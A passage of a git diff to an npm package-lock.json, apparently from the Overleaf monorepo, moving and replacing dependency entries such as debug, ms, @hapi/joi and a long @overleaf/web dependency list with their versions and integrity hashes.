"sha512-entf8ZMOK8sc+8YfeOlM8pCfg3b5+WZIKBfUaaJT8UsjAAPjartzxIYm3TIbjvA4u+u++KbcXD38k682nVHDAQ==", +- "requires": { +- "@hapi/address": "2.x.x", +- "@hapi/bourne": "1.x.x", +- "@hapi/hoek": "8.x.x", +- "@hapi/topo": "3.x.x" +- } +- }, +- "@hapi/topo": { +- "version": "3.1.6", +- "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-3.1.6.tgz", +- "integrity": "sha512-tAag0jEcjwH+P2quUfipd7liWCNX2F8NvYjQp2wtInsZxnMlypdw0FtAOLxtvvkO+GSRRbmNi8m/5y42PQJYCQ==", +- "requires": { +- "@hapi/hoek": "^8.3.0" +- } +- }, + "body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", +@@ -41467,38 +33863,18 @@ + "qs": "6.7.0", + "raw-body": "2.4.0", + "type-is": "~1.6.17" +- }, +- "dependencies": { +- "debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "requires": { +- "ms": "2.0.0" +- } +- }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- } + } + }, ++ "byline": { ++ "version": "5.0.0", ++ "resolved": "https://registry.npmjs.org/byline/-/byline-5.0.0.tgz", ++ "integrity": "sha1-dBxSFkaOrcRXsDQQEYrXfejB3bE=" ++ }, + "bytes": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==" + }, +- "celebrate": { +- "version": "10.1.0", +- "resolved": "https://registry.npmjs.org/celebrate/-/celebrate-10.1.0.tgz", +- "integrity": "sha512-Ybkb+/mek6nl4HZljFGUtma8r1Dq0ClYiHf5RVV3msoDFRsJlAFIR8J6+dKwL4EhgihIPFdBOMc6KFO9izMA9g==", +- "requires": { +- "@hapi/joi": "15.x.x", +- "escape-html": "1.0.3", +- "lodash.get": "4.4.x" +- } +- }, + "content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", +@@ -41517,6 +33893,14 @@ + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=" + }, ++ "debug": { ++ "version": "2.6.9", ++ "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", ++ "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", ++ "requires": { ++ "ms": "2.0.0" ++ } ++ }, + "diff": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", +@@ -41558,21 +33942,6 @@ + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" +- }, +- "dependencies": { +- "debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "requires": { +- "ms": "2.0.0" +- } +- }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- } + } + }, + "http-errors": { +@@ -41592,33 +33961,20 @@ + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" + }, ++ "line-reader": { ++ "version": "0.4.0", ++ "resolved": "https://registry.npmjs.org/line-reader/-/line-reader-0.4.0.tgz", ++ "integrity": "sha1-F+RIGNoKwzVnW6MAlU+U72cOZv0=" ++ }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "ms": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", +- "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" +- }, +- "nock": { +- "version": "12.0.3", +- "resolved": "https://registry.npmjs.org/nock/-/nock-12.0.3.tgz", +- "integrity": "sha512-QNb/j8kbFnKCiyqi9C5DD0jH/FubFGj5rt9NQFONXwQm3IPB0CULECg/eS3AU1KgZb/6SwUa4/DTRKhVxkGABw==", +- "dev": true, +- "requires": { +- "debug": "^4.1.0", +- "json-stringify-safe": "^5.0.1", +- "lodash": "^4.17.13", +- "propagate": "^2.0.0" +- } +- }, +- "propagate": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/propagate/-/propagate-2.0.1.tgz", +- "integrity": "sha512-vGrhOavPSTz4QVNuBNdcNXePNdNMaO1xj9yBeH1ScQPjk/rhg9sSlCXPhMkFuaNNW/syTvYqsnbIJxMBfRbbag==", +- "dev": true ++ "version": "2.0.0", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", ++ "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" + }, + "qs": { + "version": "6.7.0", +@@ -41636,17 +33992,6 @@ + "unpipe": "1.0.0" + } + }, +- "requestretry": { +- "version": "1.13.0", +- "resolved": "https://registry.npmjs.org/requestretry/-/requestretry-1.13.0.tgz", +- "integrity": "sha512-Lmh9qMvnQXADGAQxsXHP4rbgO6pffCfuR8XUBdP9aitJcLQJxhp7YZK4xAVYXnPJ5E52mwrfiKQtKonPL8xsmg==", +- "requires": { +- "extend": "^3.0.0", +- "lodash": "^4.15.0", +- "request": "^2.74.0", +- "when": "^3.7.7" +- } +- }, + "send": { + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", +@@ -41667,20 +34012,10 @@ + "statuses": "~1.5.0" + }, + "dependencies": { +- "debug": { +- "version": "2.6.9", +- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", +- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", +- "requires": { +- "ms": "2.0.0" +- }, +- "dependencies": { +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- } +- } ++ "ms": { ++ "version": "2.1.1", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", ++ "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" + } + } + }, +@@ -41731,309 +34066,353 @@ + } + } + }, +- "@overleaf/ranges-tracker": { +- "version": "file:libraries/ranges-tracker", ++ "@overleaf/web": { ++ "version": "file:services/web", + "requires": { +- "mocha": "*" ++ "@babel/cli": "^7.14.5", ++ "@babel/core": "^7.14.5", ++ "@babel/preset-env": "^7.14.5", ++ "@babel/preset-react": "^7.14.5", ++ "@babel/preset-typescript": "^7.16.0", ++ "@babel/register": "^7.14.5", ++ "@codemirror/autocomplete": "^6.3.0", ++ "@codemirror/commands": "^6.1.0", ++ "@codemirror/lang-markdown": "^6.0.1", ++ "@codemirror/language": "^6.2.1", ++ "@codemirror/lint": "^6.0.0", ++ "@codemirror/search": "^6.2.1", ++ "@codemirror/state": "^6.1.2", ++ "@codemirror/view": "^6.3.0", ++ "@cypress/react": "^6.0.0", ++ "@juggle/resize-observer": "^3.3.1", ++ "@lezer/common": "^1.0.1", ++ "@lezer/generator": "^1.1.1", ++ "@lezer/highlight": "^1.1.0", ++ "@lezer/lr": "^1.2.3", ++ "@overleaf/logger": "^3.1.0", ++ "@overleaf/metrics": "^4.0.0", ++ "@overleaf/o-error": "^3.4.0", ++ "@overleaf/object-persistor": "^1.0.1", ++ "@overleaf/ranges-tracker": "*", ++ "@overleaf/redis-wrapper": "^2.0.0", ++ "@overleaf/settings": "^3.0.0", ++ "@pmmmwh/react-refresh-webpack-plugin": "^0.5.7", ++ "@pollyjs/adapter-node-http": "^4.2.1", ++ "@pollyjs/core": "^4.2.1", ++ "@pollyjs/persister-fs": "^4.2.1", ++ "@reach/tabs": "^0.15.0", ++ "@replit/codemirror-emacs": "overleaf/codemirror-emacs#8640addc01bbe99fec0144993d012b6dfc57d6e2", ++ "@replit/codemirror-vim": "overleaf/codemirror-vim#76b21cf77b6c36755cc2be3b41dd17d4c847cc57", ++ "@sentry/browser": "^7.8.1", ++ "@testing-library/cypress": "^8.0.3", ++ "@testing-library/dom": "^8.13.0", ++ "@testing-library/react": "^12.1.5", ++ "@testing-library/react-hooks": "^8.0.0", ++ "@testing-library/user-event": "^14.2.0", ++ "@types/chai": "^4.3.0", ++ "@types/events": "^3.0.0", ++ "@types/express": "^4.17.13", ++ "@types/mocha": "^9.1.0", ++ "@types/react": "^17.0.40", ++ "@types/react-bootstrap": "^0.32.29", ++ "@types/react-dom": "^17.0.13", ++ "@types/sinon-chai": "^3.2.8", ++ "@types/uuid": "^8.3.4", ++ "@typescript-eslint/eslint-plugin": "^5.12.1", ++ "@typescript-eslint/parser": "^5.3.1", ++ "@uppy/core": "^1.15.0", ++ "@uppy/dashboard": "^1.11.0", ++ "@uppy/react": "^1.11.0", ++ "@uppy/utils": "^4.0.7", ++ "@uppy/xhr-upload": "^1.6.8", ++ "abort-controller": "^3.0.0", ++ "accepts": "^1.3.7", ++ "ace-builds": "https://github.com/overleaf/ace-builds/archive/v1.4.12-69aace50e6796d42116f8f96e19d2468d8a88af9.tar.gz", ++ "acorn": "^7.1.1", ++ "acorn-walk": "^7.1.1", ++ "algoliasearch": "^3.35.1", ++ "angular": "~1.8.0", ++ "angular-mocks": "~1.8.0", ++ "angular-sanitize": "~1.8.0", ++ "archiver": "^5.3.0", ++ "async": "3.2.2", ++ "autoprefixer": "^9.7.6", ++ "axios": "^1.1.2", ++ "babel-loader": "^8.2.4", ++ "babel-plugin-angularjs-annotate": "^0.10.0", ++ "babel-plugin-macros": "^3.1.0", ++ "backbone": "^1.3.3", ++ "basic-auth": "^2.0.1", ++ "bcrypt": "^5.0.0", ++ "body-parser": "^1.19.0", ++ "bootstrap": "^3.4.1", ++ "bowser": "^2.11.0", ++ "bufferedstream": "1.6.0", ++ "bull": "^3.18.0", ++ "bunyan": "^1.8.15", ++ "c8": "^7.2.0", ++ "cache-flow": "^1.7.4", ++ "celebrate": "^10.0.1", ++ "chai": "^4.3.6", ++ "chai-as-promised": "^7.1.1", ++ "chai-exclude": "^2.0.3", ++ "cheerio": "^1.0.0-rc.3", ++ "classnames": "^2.2.6", ++ "codemirror": "~5.33.0", ++ "color-alpha": "^1.1.3", ++ "color-parse": "^1.4.2", ++ "connect-redis": "^3.1.0", ++ "content-disposition": "^0.5.0", ++ "contentful": "^6.1.1", ++ "cookie": "^0.2.3", ++ "cookie-parser": "1.3.5", ++ "copy-webpack-plugin": "^10.2.4", ++ "core-js": "^3.6.2", ++ "crypto-js": "^3.1.9-1", ++ "css-loader": "^6.7.1", ++ "css-minimizer-webpack-plugin": "^3.4.1", ++ "csurf": "^1.11.0", ++ "cypress": "^10.2.0", ++ "d3": "^3.5.16", ++ "dateformat": "1.0.4-1.2.3", ++ "daterangepicker": "https://github.com/overleaf/daterangepicker/archive/e496d2d44ca53e208c930e4cb4bcf29bcefa4550.tar.gz", ++ "downshift": "^6.1.0", ++ "east": "^2.0.2", ++ "email-addresses": "^5.0.0", ++ "es6-promise": "^4.2.8", ++ "escodegen": "^2.0.0", ++ "eslint-config-standard-jsx": "^11.0.0-0", ++ "eslint-plugin-cypress": "^2.12.1", ++ "eslint-plugin-jsx-a11y": "^6.5.1", ++ "eslint-plugin-react": "^7.27.0", ++ "eslint-plugin-react-hooks": "^4.3.0", ++ "events": "^3.3.0", ++ "expose-loader": "^3.1.0", ++ "express": "4.17.1", ++ "express-bearer-token": "^2.4.0", ++ "express-http-proxy": "^1.6.0", ++ "express-session": "^1.17.1", ++ "fetch-mock": "^9.10.2", ++ "formik": "^2.2.9", ++ "fs-extra": "^4.0.2", ++ "fuse.js": "^3.0.0", ++ "glob": "^7.1.6", ++ "globby": "^5.0.0", ++ "handlebars": "^4.7.7", ++ "handlebars-loader": "^1.7.1", ++ "helmet": "^3.22.0", ++ "html-webpack-plugin": "^5.5.0", ++ "http-proxy": "^1.18.1", ++ "i18next": "^19.6.3", ++ "i18next-fs-backend": "^1.0.7", ++ "i18next-http-middleware": "^3.0.2", ++ "i18next-scanner": "^3.0.0", ++ "isomorphic-unfetch": "^3.0.0", ++ "jose": "^4.3.8", ++ "jquery": "^2.2.4", ++ "jsdom": "^19.0.0", ++ "jsdom-global": "^3.0.2", ++ "json2csv": "^4.3.3", ++ "jsonwebtoken": "^8.5.1", ++ "karma": "^6.3.17", ++ "karma-chai-sinon": "^0.1.5", ++ "karma-chrome-launcher": "^3.1.0", ++ "karma-mocha": "^2.0.0", ++ "karma-mocha-reporter": "^2.2.5", ++ "karma-requirejs": "^1.1.0", ++ "karma-webpack": "^5.0.0", ++ "ldap-escape": "^2.0.6", ++ "ldapjs": "^0.7.1", ++ "ldapts": "^3.2.4", ++ "less": "^3.11.1", ++ "less-loader": "^10.2.0", ++ "less-plugin-autoprefix": "^2.0.0", ++ "lodash": "^4.17.19", ++ "lru-cache": "^7.10.1", ++ "mailchimp-api-v3": "^1.12.0", ++ "marked": "^4.1.0", ++ "match-sorter": "^6.2.0", ++ "mathjax": "^2.7.9", ++ "mensch": "^0.3.4", ++ "method-override": "^2.3.3", ++ "mini-css-extract-plugin": "^2.6.0", ++ "minimist": "1.2.5", ++ "mmmagic": "^0.5.3", ++ "mocha": "^8.4.0", ++ "mock-fs": "^5.1.2", ++ "moment": "^2.29.4", ++ "mongodb": "~3.6.0", ++ "mongoose": "^5.13.11", ++ "multer": "https://github.com/overleaf/multer/archive/7a2928d7ea2da02dd92888ea1c9ba5704e07aeeb.tar.gz", ++ "nocache": "^2.1.0", ++ "nock": "^13.1.1", ++ "node-fetch": "^2.6.7", ++ "nodemailer": "^6.7.0", ++ "nodemailer-mandrill-transport": "^1.2.0", ++ "nodemailer-ses-transport": "^1.5.1", ++ "nvd3": "^1.8.6", ++ "oauth2-server": "^3.0.1", ++ "otplib": "^12.0.1", ++ "p-limit": "^2.3.0", ++ "parse-data-url": "^2.0.0", ++ "passport": "^0.4.1", ++ "passport-google-oauth20": "^2.0.0", ++ "passport-ldapauth": "^2.1.4", ++ "passport-local": "^1.0.0", ++ "passport-oauth2": "^1.5.0", ++ "passport-orcid": "0.0.4", ++ "passport-saml": "https://github.com/overleaf/passport-saml/releases/download/v3.2.1-overleaf/passport-saml-3.2.1-overleaf.tar.gz", ++ "passport-twitter": "^1.0.4", ++ "pdfjs-dist210": "npm:pdfjs-dist@2.10.377", ++ "pdfjs-dist213": "npm:pdfjs-dist@2.13.216", ++ "pirates": "^4.0.1", ++ "postcss-loader": "^6.2.1", ++ "prop-types": "^15.7.2", ++ "pug": "^3.0.1", ++ "pug-runtime": "^3.0.1", ++ "qrcode": "^1.4.4", ++ "react": "^17.0.2", ++ "react-bootstrap": "^0.33.1", ++ "react-dnd": "^11.1.3", ++ "react-dnd-html5-backend": "^11.1.3", ++ "react-dom": "^17.0.2", ++ "react-error-boundary": "^2.3.1", ++ "react-i18next": "^11.7.1", ++ "react-linkify": "^1.0.0-alpha", ++ "react-refresh": "^0.14.0", ++ "react2angular": "^4.0.6", ++ "react2angular-shared-context": "^1.1.0", ++ "recurly": "^4.0.0", ++ "referer-parser": "0.0.3", ++ "request": "^2.88.2", ++ "request-promise-native": "^1.0.8", ++ "requestretry": "^6.0.0", ++ "requirejs": "^2.3.6", ++ "rimraf": "2.2.6", ++ "rolling-rate-limiter": "^0.2.10", ++ "samlp": "^3.4.1", ++ "sandboxed-module": "https://github.com/overleaf/node-sandboxed-module/archive/cafa2d60f17ce75cc023e6f296eb8de79d92d35d.tar.gz", ++ "sanitize-html": "^1.27.1", ++ "scroll-into-view-if-needed": "^2.2.25", ++ "sinon": "^7.5.0", ++ "sinon-chai": "^3.7.0", ++ "sinon-mongoose": "^2.3.0", ++ "socket.io-mock": "^1.3.1", ++ "sysend": "^1.10.0", ++ "terser-webpack-plugin": "^5.3.1", ++ "timekeeper": "^2.2.0", ++ "to-string-loader": "^1.2.0", ++ "tsscmp": "^1.0.6", ++ "typescript": "^4.5.5", ++ "underscore": "^1.13.1", ++ "unzipper": "^0.10.11", ++ "utf-8-validate": "^5.0.2", ++ "uuid": "^3.0.1", ++ "val-loader": "^4.0.0", ++ "valid-data-url": "^2.0.0", ++ "valid-url": "^1.0.9", ++ "webpack": "^5.71.0", ++ "webpack-assets-manifest": "^5.1.0", ++ "webpack-cli": "^4.9.2", ++ "webpack-dev-server": "^4.7.4", ++ "webpack-merge": "^5.8.0", ++ "worker-loader": "^3.0.8", ++ "xml-crypto": "^2.1.2", ++ "xml2js": "^0.4.22", ++ "xregexp": "^4.3.0", ++ "yauzl": "^2.10.0", ++ "yup": "^0.32.11" + }, + "dependencies": { +- "brace-expansion": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", +- "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", +- "dev": true, ++ "@hapi/address": { ++ "version": "2.1.4", ++ "resolved": "https://registry.npmjs.org/@hapi/address/-/address-2.1.4.tgz", ++ "integrity": "sha512-QD1PhQk+s31P1ixsX0H0Suoupp3VMXzIVMSwobR3F3MSUO2YCV0B7xqLcUw/Bh8yuvd3LhpyqLQWTNcRmp6IdQ==" ++ }, ++ "@hapi/joi": { ++ "version": "15.1.1", ++ "resolved": "https://registry.npmjs.org/@hapi/joi/-/joi-15.1.1.tgz", ++ "integrity": "sha512-entf8ZMOK8sc+8YfeOlM8pCfg3b5+WZIKBfUaaJT8UsjAAPjartzxIYm3TIbjvA4u+u++KbcXD38k682nVHDAQ==", + "requires": { +- "balanced-match": "^1.0.0" ++ "@hapi/address": "2.x.x", ++ "@hapi/bourne": "1.x.x", ++ "@hapi/hoek": "8.x.x", ++ "@hapi/topo": "3.x.x" + } + }, +- "debug": { +- "version": "4.3.4", +- "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", +- "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", +- "dev": true, ++ "@hapi/topo": { ++ "version": "3.1.6", ++ "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-3.1.6.tgz", ++ "integrity": "sha512-tAag0jEcjwH+P2quUfipd7liWCNX2F8NvYjQp2wtInsZxnMlypdw0FtAOLxtvvkO+GSRRbmNi8m/5y42PQJYCQ==", + "requires": { +- "ms": "2.1.2" +- }, +- "dependencies": { +- "ms": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", +- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", +- "dev": true +- } ++ "@hapi/hoek": "^8.3.0" + } + }, +- "minimatch": { +- "version": "5.0.1", +- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.0.1.tgz", +- "integrity": "sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g==", ++ "@replit/codemirror-emacs": { ++ "version": "git+ssh://git@github.com/overleaf/codemirror-emacs.git#8640addc01bbe99fec0144993d012b6dfc57d6e2", ++ "integrity": "sha512-qtSe/u/3zai4G2bSwpL7DTfZK/uHViCiAcokqOe+FXKhCLHtrzs5VVgpMwK1JUHLwxo0lpSB4Hkz3epP6K2axw==", ++ "from": "@replit/codemirror-emacs@overleaf/codemirror-emacs#8640addc01bbe99fec0144993d012b6dfc57d6e2", ++ "requires": {} ++ }, ++ "@sinonjs/formatio": { ++ "version": "3.2.2", ++ "resolved": "https://registry.npmjs.org/@sinonjs/formatio/-/formatio-3.2.2.tgz", ++ "integrity": "sha512-B8SEsgd8gArBLMD6zpRw3juQ2FVSsmdd7qlevyDqzS9WTCtvF55/gAL+h6gue8ZvPYcdiPdvueM/qm//9XzyTQ==", + "dev": true, + "requires": { +- "brace-expansion": "^2.0.1" ++ "@sinonjs/commons": "^1", ++ "@sinonjs/samsam": "^3.1.0" + } + }, +- "mocha": { +- "version": "10.0.0", +- "resolved": "https://registry.npmjs.org/mocha/-/mocha-10.0.0.tgz", +- "integrity": "sha512-0Wl+elVUD43Y0BqPZBzZt8Tnkw9CMUdNYnUsTfOM1vuhJVZL+kiesFYsqwBkEEuEixaiPe5ZQdqDgX2jddhmoA==", ++ "@sinonjs/samsam": { ++ "version": "3.3.3", ++ "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-3.3.3.tgz", ++ "integrity": "sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ==", + "dev": true, + "requires": { +- "@ungap/promise-all-settled": "1.1.2", +- "ansi-colors": "4.1.1", +- "browser-stdout": "1.3.1", +- "chokidar": "3.5.3", +- "debug": "4.3.4", +- "diff": "5.0.0", +- "escape-string-regexp": "4.0.0", +- "find-up": "5.0.0", +- "glob": "7.2.0", +- "he": "1.2.0", +- "js-yaml": "4.1.0", +- "log-symbols": "4.1.0", +- "minimatch": "5.0.1", +- "ms": "2.1.3", +- "nanoid": "3.3.3", +- "serialize-javascript": "6.0.0", +- "strip-json-comments": "3.1.1", +- "supports-color": "8.1.1", +- "workerpool": "6.2.1", +- "yargs": "16.2.0", +- "yargs-parser": "20.2.4", +- "yargs-unparser": "2.0.0" ++ "@sinonjs/commons": "^1.3.0", ++ "array-from": "^2.1.1", ++ "lodash": "^4.17.15" + } + }, +- "nanoid": { +- "version": "3.3.3", +- "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.3.tgz", +- "integrity": "sha512-p1sjXuopFs0xg+fPASzQ28agW1oHD7xDsd9Xkf3T15H3c/cifrFHVwrh74PdoklAPi+i7MdRsE47vm2r6JoB+w==", +- "dev": true +- }, +- "workerpool": { +- "version": "6.2.1", +- "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.2.1.tgz", +- "integrity": "sha512-ILEIE97kDZvF9Wb9f6h5aXK4swSlKGUcOEGiIYb2OOu/IrDU9iwj0fD//SsA6E5ibwJxpEvhullJY4Sl4GcpAw==", +- "dev": true ++ "@uppy/utils": { ++ "version": "4.0.7", ++ "resolved": "https://registry.npmjs.org/@uppy/utils/-/utils-4.0.7.tgz", ++ "integrity": "sha512-nKViMT8XchKy+NWpb3DtVKuzZBmW7au26LrMq89EsvTwIOT6UR9+7bmz/+zr3+lc7UC7vMgNChIC6G+/Ya9wWQ==", ++ "requires": { ++ "lodash.throttle": "^4.1.1" ++ } + }, +- "yargs": { +- "version": "16.2.0", +- "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", +- "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", ++ "ansi-styles": { ++ "version": "4.3.0", ++ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", ++ "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { +- "cliui": "^7.0.2", +- "escalade": "^3.1.1", +- "get-caller-file": "^2.0.5", +- "require-directory": "^2.1.1", +- "string-width": "^4.2.0", +- "y18n": "^5.0.5", +- "yargs-parser": "^20.2.2" ++ "color-convert": "^2.0.1" + } +- } +- } +- }, +- "@overleaf/real-time": { +- "version": "file:services/real-time", +- "requires": { +- "@hapi/joi": "^17.1.1", +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/redis-wrapper": "^2.0.0", +- "@overleaf/settings": "^3.0.0", +- "async": "^3.2.2", +- "base64id": "0.1.0", +- "body-parser": "^1.19.0", +- "bunyan": "^1.8.15", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "connect-redis": "^2.1.0", +- "cookie-parser": "^1.4.5", +- "cookie-signature": "^1.1.0", +- "express": "^4.17.1", +- "express-session": "^1.17.1", +- "mocha": "^8.4.0", +- "proxy-addr": "^2.0.7", +- "request": "^2.88.2", +- "sandboxed-module": "~0.3.0", +- "sinon": "^9.2.4", +- "socket.io": "git+ssh://git@github.com/overleaf/socket.io.git#af96d1b68d9918ee0f9cb82c62990395b0a601fb", +- "socket.io-client": "overleaf/socket.io-client#0.9.17-overleaf-3", +- "timekeeper": "0.0.4", +- "uid-safe": "^2.1.5", +- "underscore": "1.13.1" +- }, +- "dependencies": { +- "commander": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/commander/-/commander-2.1.0.tgz", +- "integrity": "sha512-J2wnb6TKniXNOtoHS8TSrG9IOQluPrsmyAJ8oCUJOBmv+uLBCyPYAZkD2jFvw2DCzIXNnISIM01NIvr35TkBMQ==" + }, +- "nan": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/nan/-/nan-1.0.0.tgz", +- "integrity": "sha512-Wm2/nFOm2y9HtJfgOLnctGbfvF23FcQZeyUZqDD8JQG3zO5kXh3MkQKiUaA68mJiVWrOzLFkAV1u6bC8P52DJA==" ++ "array-union": { ++ "version": "3.0.1", ++ "resolved": "https://registry.npmjs.org/array-union/-/array-union-3.0.1.tgz", ++ "integrity": "sha512-1OvF9IbWwaeiM9VhzYXVQacMibxpXOMYVNIvMtKRyX9SImBXpKcFr8XvFDeEslCyuH/t6KRt7HEO94AlP8Iatw==", ++ "dev": true + }, +- "sandboxed-module": { +- "version": "0.3.0", +- "resolved": "https://registry.npmjs.org/sandboxed-module/-/sandboxed-module-0.3.0.tgz", +- "integrity": "sha1-8fvvvYCaT2kHO9B8rm/H2y6vX2o=", ++ "axios": { ++ "version": "1.1.2", ++ "resolved": "https://registry.npmjs.org/axios/-/axios-1.1.2.tgz", ++ "integrity": "sha512-bznQyETwElsXl2RK7HLLwb5GPpOLlycxHCtrpDR/4RqqBzjARaOTo3jz4IgtntWUYee7Ne4S8UHd92VCuzPaWA==", + "dev": true, + "requires": { +- "require-like": "0.1.2", +- "stack-trace": "0.0.6" ++ "follow-redirects": "^1.15.0", ++ "form-data": "^4.0.0", ++ "proxy-from-env": "^1.1.0" + } + }, +- "socket.io-client": { +- "version": "git+ssh://git@github.com/overleaf/socket.io-client.git#60e7aa96978e890dcfc244071de0284e9174e125", +- "from": "socket.io-client@overleaf/socket.io-client#0.9.17-overleaf-3", +- "requires": { +- "active-x-obfuscator": "0.0.1", +- "uglify-js": "1.2.5", +- "ws": "0.4.x", +- "xmlhttprequest": "1.4.2" +- } +- }, +- "stack-trace": { +- "version": "0.0.6", +- "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.6.tgz", +- "integrity": "sha1-HnGb1qJin/CcGJ4Xqe+QKpT8XbA=", +- "dev": true +- }, +- "timekeeper": { +- "version": "0.0.4", +- "resolved": "https://registry.npmjs.org/timekeeper/-/timekeeper-0.0.4.tgz", +- "integrity": "sha1-kNt58X2Ni1NiFUOJSSuXJ2LP0nY=", +- "dev": true +- }, +- "uglify-js": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-1.2.5.tgz", +- "integrity": "sha512-Ps1oQryKOcRDYuAN1tGpPWd/DIRMcdLz4p7JMxLjJiFvp+aaG01IEu0ZSoVvYUSxIkvW7k2X50BCW2InguEGlg==" +- }, +- "underscore": { +- "version": "1.13.1", +- "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.1.tgz", +- "integrity": "sha512-hzSoAVtJF+3ZtiFX0VgfFPHEDRm7Y/QPjGyNo4TVdnDTdft3tr8hEkD25a1jC+TjTuE7tkHGKkhwCgs9dgBB2g==" +- }, +- "ws": { +- "version": "0.4.32", +- "resolved": 